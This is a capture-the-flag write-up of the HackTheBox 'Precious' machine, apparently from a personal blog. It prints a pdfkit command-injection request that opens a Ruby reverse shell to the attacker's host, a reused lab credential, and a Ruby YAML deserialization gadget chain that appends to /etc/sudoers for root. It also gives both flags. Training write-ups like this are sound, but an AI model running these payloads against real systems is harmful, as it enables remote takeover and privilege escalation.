Luca Puzzoni

aka k0d14k.

Precious

by k0d14k

Precious

CTF: hackthebox

Category: Machine

Difficulty: Easy

Description


The machine hosts a web pages that exports a PDF file from another web page

address : https://app.hackthebox.com/machines/Precious

Solution


First of all, after we get connected to the HackTheBox vpn we need to add the host name for the provided ip (The ip may change so before follow this writeup verify if the ip is the same I used).

To add the host name simply use:

sudo su
echo "10.10.11.189 precious.htb" >> /etc/hosts

Now we are able to use this link: http://precious.htb

precious.htb-ConvertWebPagetoPDF.png

We have to remember that the machine is hosted into a vpn so the web page have to be reachable by the precious’s web page.

We simply can host an our page.

Let’s create an index.php and host it with

php -S [our vpn IP]:[port]

Perform our request and it returns us a PDF as follow:

x9nc0zgm1ioi3epmzue2e4pv4evuct5p.pdf

Now, try to get some other information about this file.

I used exiftool and the result gives to me a terrific important information.

┌──(kali㉿kali)-[~/…/ctf/hackTheBox/machines/precious]
└─$ exiftool x9nc0zgm1ioi3epmzue2e4pv4evuct5p.pdf           
ExifTool Version Number         : 12.54
File Name                       : x9nc0zgm1ioi3epmzue2e4pv4evuct5p.pdf
Directory                       : .
File Size                       : 10 kB
File Modification Date/Time     : 2023:01:16 18:51:28+01:00
File Access Date/Time           : 2023:01:18 11:26:08+01:00
File Inode Change Date/Time     : 2023:01:16 18:51:49+01:00
File Permissions                : -rwxrwx---
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Page Count                      : 1
Creator                         : Generated by pdfkit v0.8.6

After a google search I found that the PdfKit v-0.8.6 is vulnerable to a Remote Code Execution.

Using this information and knowing that the server is a ruby server. I found in a cheatsheet an exploit that uses a Ruby Socket to spawn a shell.

I crafted a curl request to get the reverse shell. Open a nc listener in your local machine.

curl -X POST http://precious.htb -d "url=http%3A%2F%2F[LOCAL IP]%3A90%2F%3Fname%3D%2520%60+ruby+-rsocket+-e%27spawn%28%22sh%22%2C%5B%3Ain%2C%3Aout%2C%3Aerr%5D%3D%3ETCPSocket.new%28%22[LOCAL IP]%22%2C1234%29%29%27%60"

Let me make a recap. You now should be have your php instance, your nc listener and running the curl request you should be able to open a reverse shell.

┌──(kali㉿kali)-[~/…/ctf/hackTheBox/machines/precious]
└─$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.88] from (UNKNOWN) [10.10.11.189] 58750
ls -al
total 36
drwxr-xr-x 6 root root 4096 Oct 26 08:28 .
drwxr-xr-x 4 root root 4096 Oct 26 08:28 ..
drwxr-xr-x 4 root ruby 4096 Oct 26 08:28 app
drwxr-xr-x 2 root ruby 4096 Oct 26 08:28 config
-rw-r--r-- 1 root ruby   59 Sep 10 09:46 config.ru
-rw-r--r-- 1 root ruby   99 Sep 17 14:17 Gemfile
-rw-r--r-- 1 root ruby  478 Sep 26 05:04 Gemfile.lock
drwxrwxr-x 2 root ruby 4096 Jan 18 05:39 pdf
drwxr-xr-x 4 root ruby 4096 Oct 26 08:28 public
whoami
ruby

We are logged in with ruby user. Let’s see what we found in the /home directory.

ls /home
henry
ruby

The are two users, We can see into the /etc/passwd file to be more secure.

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
sshd:x:104:65534::/run/sshd:/usr/sbin/nologin
henry:x:1000:1000:henry,,,:/home/henry:/bin/bash
systemd-timesync:x:999:999:systemd Time Synchronization:/:/usr/sbin/nologin
systemd-coredump:x:998:998:systemd Core Dumper:/:/usr/sbin/nologin
ruby:x:1001:1001::/home/ruby:/bin/bash
_laurel:x:997:997::/var/log/laurel:/bin/false

Stabilize the reverse shell into a ssh shell (Privilege escalation STEP 1)

After We got the reverse shell We want to stabilize our access with a ssh shell. I searched for any file containing the username.

find -H 'ruby' /home 2>/dev/null
/home
/home/henry
/home/henry/dependencies.yml
/home/henry/linpeas.sh
/home/henry/.profile
/home/henry/user.txt
/home/henry/.bash_history
/home/henry/.gnupg
/home/henry/.bash_logout
/home/henry/.local
/home/henry/.local/share
/home/henry/.bashrc
/home/ruby
/home/ruby/linpeas.sh
/home/ruby/.bundle
/home/ruby/.bundle/config
/home/ruby/.profile
/home/ruby/.bash_history
/home/ruby/.cache
/home/ruby/.cache/gstreamer-1.0
/home/ruby/.cache/gstreamer-1.0/registry.x86_64.bin
/home/ruby/.cache/fontconfig
/home/ruby/.cache/fontconfig/CACHEDIR.TAG
/home/ruby/.cache/fontconfig/8750a791-6268-4630-a416-eea4309e7c79-le64.cache-7
/home/ruby/.cache/fontconfig/ef96da78-736b-4d54-855c-6cd6306b88f9-le64.cache-7
/home/ruby/.cache/fontconfig/7fbdb48c-391b-4ace-afa2-3f01182fb901-le64.cache-7
/home/ruby/.cache/fontconfig/cb67f001-8986-4483-92bd-8d975c0d33c3-le64.cache-7
/home/ruby/.gnupg
/home/ruby/.gnupg/private-keys-v1.d
/home/ruby/.gnupg/S.gpg-agent
/home/ruby/.gnupg/pubring.kbx
/home/ruby/.gnupg/S.gpg-agent.browser
/home/ruby/.gnupg/S.gpg-agent.ssh
/home/ruby/.gnupg/trustdb.gpg
/home/ruby/.gnupg/S.gpg-agent.extra
/home/ruby/.bash_logout
/home/ruby/.bashrc

As We can see there are some files containing ruby. We can immediately filter the henry directory because we haven’t permission over there. Every .gnupg and .cache is garbage for us right now so skip these too. Now we just have few files. Linpeas too is not util cause maybe it was imported by another attacker.

/home
/home/ruby
/home/ruby/.bundle
/home/ruby/.bundle/config
/home/ruby/.profile
/home/ruby/.bash_history
/home/ruby/.bash_logout
/home/ruby/.bashrc

Looking into these files We can find, into the .bundle/config ssh credentials for henry.

cat .bundle/config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"

Privilege Escalation STEP 2 (henry-root)

Let’s get our ssh shell by

┌──(kali㉿kali)-[~]
└─$ ssh henry@precious.htb
henry@precious.htb's password: 
Linux precious 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
henry@precious:~$

Now we want to became root, so the first thing we can do is to run sudo -l to see which files can be runned by us as root without any password.

henry@precious:~$ sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
henry@precious:~$

The update_dependencies.rb file appear as what We need so let’s check if there is any vulnerability into this file.

henry@precious:~$ cat /opt/update_dependencies.rb 
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end
henry@precious:~$

It appears as a simple ruby file to update dependencies.

The only way we have to provide an input to this file is by YAML.load. After some (too much I guess) time on google I discovered that this command is vulnerable to Yaml Deserialization Attack and I found an exploit too.

---
 - !ruby/object:Gem::Installer
     i: x
 - !ruby/object:Gem::SpecFetcher
     i: y
 - !ruby/object:Gem::Requirement
   requirements:
     !ruby/object:Gem::Package::TarReader
     io: &1 !ruby/object:Net::BufferedIO
       io: &1 !ruby/object:Gem::Package::TarReader::Entry
          read: 0
          header: "abc"
       debug_output: &1 !ruby/object:Net::WriteAdapter
          socket: &1 !ruby/object:Gem::RequestSet
              sets: !ruby/object:Net::WriteAdapter
                  socket: !ruby/module 'Kernel'
                  method_id: :system
              git_set: sleep 600
          method_id: :resolve

Exploit

After I found this exploit I set the sleep to 10 seconds because 600 was too much and I put the exploit into a dependencies.yml in /home/henry directory, and It worked as expected.

So now we have the command injection via dependencies.yml and, running the update_dependencies as root, We can now inject into /etc/sudoers a new record for henry that means that henry can use sudo su.

---
 - !ruby/object:Gem::Installer
     i: x
 - !ruby/object:Gem::SpecFetcher
     i: y
 - !ruby/object:Gem::Requirement
   requirements:
     !ruby/object:Gem::Package::TarReader
     io: &1 !ruby/object:Net::BufferedIO
       io: &1 !ruby/object:Gem::Package::TarReader::Entry
          read: 0
          header: "abc"
       debug_output: &1 !ruby/object:Net::WriteAdapter
          socket: &1 !ruby/object:Gem::RequestSet
              sets: !ruby/object:Net::WriteAdapter
                  socket: !ruby/module 'Kernel'
                  method_id: :system
              git_set: "echo 'henry ALL=(ALL:ALL) ALL' >> /etc/sudoers"
          method_id: :resolve
henry@precious:~$ sudo ruby /opt/update_dependencies.rb 
sh: 1: reading: not found
Traceback (most recent call last):
        33: from /opt/update_dependencies.rb:17:in `<main>'
        32: from /opt/update_dependencies.rb:10:in `list_from_file'
        31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
        30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby'
        29: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
        28: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
        27: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
        26: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:313:in `visit_Psych_Nodes_Document'
        25: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
        24: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
        23: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
        22: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:141:in `visit_Psych_Nodes_Sequence'
        21: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `register_empty'
        20: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `each'
        19: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `block in register_empty'
        18: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
        17: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
        16: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
        15: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:208:in `visit_Psych_Nodes_Mapping'
        14: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:394:in `revive'
        13: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:402:in `init_with'
        12: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:218:in `init_with'
        11: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:214:in `yaml_initialize'
        10: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:299:in `fix_syck_default_key_in_requirements'
         9: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_reader.rb:59:in `each'
         8: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_header.rb:101:in `from'
         7: from /usr/lib/ruby/2.7.0/net/protocol.rb:152:in `read'
         6: from /usr/lib/ruby/2.7.0/net/protocol.rb:319:in `LOG'
         5: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
         4: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
         3: from /usr/lib/ruby/vendor_ruby/rubygems/request_set.rb:388:in `resolve'
         2: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
         1: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
/usr/lib/ruby/2.7.0/net/protocol.rb:458:in `system': no implicit conversion of nil into String (TypeError)
henry@precious:~$ sudo su
[sudo] password for henry: 
root@precious:/home/henry#

COOL! Now henry is a sudoer

FLAG

In this machine there was two flags.

/home/henry/user.txt : 163a4e8cbcbcff0e482b6a670fbd8424

/root/root.txt : 836dab63ea9cae4ffa6377e92c40171f

Links and tools


PdfKit CVE : https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795

PdfKit exploit : https://www.ctfiot.com/84447.html

YAML Deserialization Attack : https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/